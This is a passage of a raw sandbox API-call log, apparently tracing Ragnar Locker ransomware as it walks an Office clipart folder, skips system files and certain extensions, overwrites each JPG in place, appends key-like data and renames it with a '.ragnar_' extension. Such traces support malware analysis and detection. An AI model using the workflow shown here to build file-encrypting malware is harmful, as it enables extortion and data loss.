dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.281] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7214, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.281] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7214, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7214, lpOverlapped=0x0) returned 1 [0085.281] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7214, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.281] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.282] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.282] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.282] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.282] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.282] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.282] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.282] GetProcessHeap () returned 0x580000 [0085.282] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.282] CloseHandle (hObject=0xf4) returned 1 [0085.282] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" [0085.282] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.ragnar_FD7BD9FC" [0085.282] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.283] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff99200, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ff99200, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0085.283] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.283] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0178460.JPG" | out: lpString1="J0178460.JPG") returned="J0178460.JPG" [0085.283] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned=".JPG" [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="autorun.inf") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="boot.ini") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="bootfont.bin") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="bootsect.bak") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="bootmgr") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="bootmgr.efi") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="bootmgfw.efi") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="desktop.ini") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="iconcache.db") returned 1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="ntldr") returned -1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="ntuser.dat") returned -1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="ntuser.dat.log") returned -1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="ntuser.ini") returned -1 [0085.283] lstrcmpiW (lpString1="J0178460.JPG", lpString2="thumbs.db") returned -1 [0085.283] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.283] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.284] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.284] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.284] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.284] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.284] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg")) returned 0x20 [0085.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.284] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26531) returned 1 [0085.284] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x679a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.284] GetProcessHeap () returned 0x580000 [0085.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.284] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.286] VirtualAlloc (lpAddress=0x0, dwSize=0x67a3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.286] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x67a3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x67a3, lpOverlapped=0x0) returned 1 [0085.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.288] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x67a3, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.288] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x67a3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x67a3, lpOverlapped=0x0) returned 1 [0085.288] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x67a3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.288] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x67a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.288] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.289] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.289] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.289] GetProcessHeap () returned 0x580000 [0085.289] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.289] CloseHandle (hObject=0xf4) returned 1 [0085.289] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" [0085.289] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.ragnar_FD7BD9FC" [0085.289] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.289] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0085.289] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.290] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0178523.JPG" | out: lpString1="J0178523.JPG") returned="J0178523.JPG" [0085.290] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned=".JPG" [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="autorun.inf") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="boot.ini") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="bootfont.bin") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="bootsect.bak") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="bootmgr") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="bootmgr.efi") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="bootmgfw.efi") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="desktop.ini") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="iconcache.db") returned 1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="ntldr") returned -1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="ntuser.dat") returned -1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="ntuser.dat.log") returned -1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="ntuser.ini") returned -1 [0085.290] lstrcmpiW (lpString1="J0178523.JPG", lpString2="thumbs.db") returned -1 [0085.290] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.290] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.290] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.290] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.290] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.290] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.290] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg")) returned 0x20 [0085.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.291] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24034) returned 1 [0085.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5dd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.291] GetProcessHeap () returned 0x580000 [0085.291] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.291] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.292] VirtualAlloc (lpAddress=0x0, dwSize=0x5de2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.292] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5de2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5de2, lpOverlapped=0x0) returned 1 [0085.294] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.294] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5de2, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.294] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5de2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5de2, lpOverlapped=0x0) returned 1 [0085.294] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5de2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.294] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.294] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5de2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.294] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.294] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.295] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.295] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.295] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.295] GetProcessHeap () returned 0x580000 [0085.295] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.295] CloseHandle (hObject=0xf4) returned 1 [0085.295] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" [0085.295] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.ragnar_FD7BD9FC" [0085.295] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.295] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0085.295] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.296] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0178632.JPG" | out: lpString1="J0178632.JPG") returned="J0178632.JPG" [0085.296] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned=".JPG" [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="autorun.inf") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="boot.ini") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="bootfont.bin") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="bootsect.bak") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="bootmgr") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="bootmgr.efi") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="bootmgfw.efi") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="desktop.ini") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="iconcache.db") returned 1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="ntldr") returned -1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="ntuser.dat") returned -1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="ntuser.dat.log") returned -1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="ntuser.ini") returned -1 [0085.296] lstrcmpiW (lpString1="J0178632.JPG", lpString2="thumbs.db") returned -1 [0085.296] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.296] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.296] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.296] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.296] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.296] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.296] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg")) returned 0x20 [0085.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.297] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23338) returned 1 [0085.297] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.297] GetProcessHeap () returned 0x580000 [0085.297] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.297] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.298] VirtualAlloc (lpAddress=0x0, dwSize=0x5b2a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.298] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5b2a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5b2a, lpOverlapped=0x0) returned 1 [0085.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.300] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5b2a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.300] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5b2a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5b2a, lpOverlapped=0x0) returned 1 [0085.300] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5b2a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.300] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5b2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.300] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, 